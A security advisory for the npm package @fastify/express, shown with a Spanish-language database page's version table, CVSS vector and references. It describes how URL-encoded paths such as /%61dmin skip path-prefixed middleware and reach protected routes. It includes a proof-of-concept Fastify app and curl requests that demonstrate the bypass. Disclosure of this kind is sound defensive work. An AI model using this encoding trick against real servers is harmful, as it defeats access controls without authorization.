@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)
Summary
A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register fastify-express for Express-style middleware support
await fastify.register(require('@fastify/express'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
fastify.get('/admin/dashboard', async (request, reply) => {
return { message: 'Admin dashboard' };
});
// Start server
try {
await fastify.listen({ port: 3000 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>
(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}It differs from CVE-2026-22031 because this is a different npm module with its own code.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | @fastify/express | < 4.0.3 | 4.0.3 |
Referencias
- https://github.com/fastify/fastify-express/security/advisories/GHSA-g6q3-96cp-5r5m
- https://nvd.nist.gov/vuln/detail/CVE-2026-22037
- https://github.com/fastify/fastify-express/commit/dc02a3fe1387f945143f22597baa42557d549a40
- https://github.com/fastify/fastify-express
- https://github.com/fastify/fastify-express/releases/tag/v4.0.3
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L- Debilidad (CWE)
CWE-177, CWE-288- Plataforma
- npm
- Paquete
@fastify/express- Publicada
- 20.01.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-g6q3-96cp-5r5m - CC BY 4.0
Historial de vulnerabilidades: @fastify/express
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 3
- Primera → última
- 01.2026 04.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 1
Divulgaciones por año
- 2026: 3
-
@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding) esta entrada
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